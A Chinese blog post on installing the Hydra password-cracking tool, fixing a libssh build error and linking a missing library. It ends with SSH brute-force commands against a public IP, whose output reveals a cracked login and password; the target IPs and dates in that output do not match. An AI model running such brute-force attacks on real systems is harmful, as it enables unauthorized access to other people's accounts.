1. 程式人生 > >滲透之——Hydra安裝報錯 Compiled without LIBSSH v0.4.x support, module is not available!

滲透之——Hydra安裝報錯 Compiled without LIBSSH v0.4.x support, module is not available!

轉載請註明出處:https://blog.csdn.net/l1028386804/article/details/86020691

注:大家可以到連結https://download.csdn.net/download/l1028386804/10902002 下載Hydra一鍵安裝包,內含冰河親做一鍵安裝指令碼,直接執行即可。

在我們安裝Hydra的過程中,可能會出現如下錯誤:

[ERROR] Compiled without LIBSSH v0.4.x support, module is not available!

下面,就如何安裝Hydra和解決上述問題,冰河將方法分享出來:

如何裝libssh呢?方法如下:

方法一、支援apt-get的話

apt-get purge hydra
apt-get install cmake libssl-dev

方法二、編譯安裝

2.1 libssh

wget http://www.libssh.org/files/0.4/libssh-0.4.8.tar.gz
tar zxf libssh-0.4.8.tar.gz
cd libssh-0.4.8
mkdir build
cd build
cmake -DCMAKE_INSTALL_PREFIX=/usr -DCMAKE_BUILD_TYPE=Debug -DWITH_SSH1=ON ..
make
make install

2.2 hydra

yum -y install openssl-devel pcre-devel ncpfs-devel postgresql-devel libssh-devel subversion-devel libncurses-devel
wget http://www.thc.org/releases/hydra-7.4.2.tar.gz
tar zxvf hydra-7.4.2.tar.gz
cd hydra
./configure
make && make install

安裝過程中如果出現如下錯誤:

hydra: error while loading shared libraries: libssh.so.4: cannot open shared object file: No such file or directory

1.安裝locate命令

# yum install mlocate
# updatedb

之後檢視libssh.so.4的在系統中的位置

[[email protected] ~]# locate libssh.so.4
/usr/lib/libssh.so.4
/usr/lib/libssh.so.4.1.4

接著執行如下命令,即可解決問題:

[[email protected] lib64]# ln -s /usr/lib/libssh.so.4.1.4 /usr/lib64/libssh.so.4

Hydra用法例項:

[[email protected] ~]# hydra -L u.lst -P p.lst -t 1 -vV -e ns 123.242.11.186 ssh
Hydra v7.4.2 (c)2012 by van Hauser/THC & David Maciejak - for legal purposes only
Hydra (http://www.thc.org/thc-hydra) starting at 2013-06-10 00:05:24
[DATA] 1 task, 1 server, 3 login tries (l:1/p:3), ~3 tries per task
[DATA] attacking service ssh on port 22
[VERBOSE] Resolving addresses ... done
[ATTEMPT] target 123.222.11.186 - login "lyz" - pass "lyz" - 1 of 3 [child 0]
[ATTEMPT] target 123.222.11.186 - login "lyz" - pass "" - 2 of 3 [child 0]
[ATTEMPT] target 123.222.11.186 - login "lyz" - pass "wei123hu" - 3 of 3 [child 0]
[22][ssh] host: 123.222.11.186   login: lyz   password: wei123hu
[STATUS] attack finished for 123.222.11.186 (waiting for children to complete tests)
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2019-01-06 00:05:27

也可以使用 -o 選項指定結果輸出檔案。

# hydra -L users.txt -P password.txt -t 1 -vV -e ns -o save.log 192.168.1.104 ssh